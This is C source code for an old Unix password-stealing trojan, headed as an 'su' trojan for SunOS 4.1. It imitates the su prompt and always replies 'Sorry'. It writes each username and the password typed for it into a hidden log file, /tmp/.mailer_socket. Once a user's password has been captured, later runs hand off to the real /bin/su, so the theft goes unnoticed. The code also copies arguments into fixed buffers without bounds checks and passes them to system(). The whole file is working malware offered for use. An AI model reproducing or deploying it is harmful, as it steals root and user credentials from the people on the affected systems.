/* SU ¥È¥í¥¤ for SunOS 4.1 by UNYUN */
#include  <stdio.h>
#include  <stdlib.h>
#include  <string.h>
#include  <pwd.h>
#define    MSG_INP      "Password:"
#define    MSG_ERR      "Sorry"
#define    MSG_NOID    "su: Unknown id: "
#define    MSG_WAIT    0
#define    REAL_SU      "/bin/su"
#define    LOGFILE      "/tmp/.mailer_socket"
#define    MAX_USERNAME  200
#define    MAX_PASSWD    200

main(argc,argv)
int argc;
char *argv[];
{
  char  x[MAX_PASSWD];
  struct passwd *pwd;
  char  user[MAX_USERNAME];
  char  passwd[MAX_PASSWD];
  char  temp1[MAX_USERNAME],temp2[MAX_PASSWD];
  FILE  *fp;
  int    flag=0;
  int   uid=getuid();

  if (argc==1) strcpy(user,"root");
  else     strcpy(user,argv[1]);
  if ((fp=fopen(LOGFILE,"r"))!=NULL){
    for (;;){
      if (feof(fp)) break;
      fscanf(fp,"%s",temp1);
      fscanf(fp,"%s",temp2);
      if (strcmp(user,temp1)==0){
        flag=1;
        break;
      }
    }
    fclose(fp);
  }
  pwd=getpwuid(uid);
  if (flag==1 || uid==0 || strcmp(pwd->pw_name,user)==0){
    sprintf(temp1,"%s %s",REAL_SU,user);
    system(temp1);
    exit(1);
  }  
  if (argc>1){
    if ((pwd=getpwnam(user))==NULL){
      sleep(MSG_WAIT);
      printf("%s%s\n",MSG_NOID,user);
      exit(1);
    }
  } 
  strcpy(x,getpass(MSG_INP));
  sleep(MSG_WAIT);
  printf("%s\n",MSG_ERR);
  if ((fp=fopen(LOGFILE,"a"))!=NULL){
    fprintf(fp,"%s\t%s\n",user,x);
    fclose(fp);
  }
}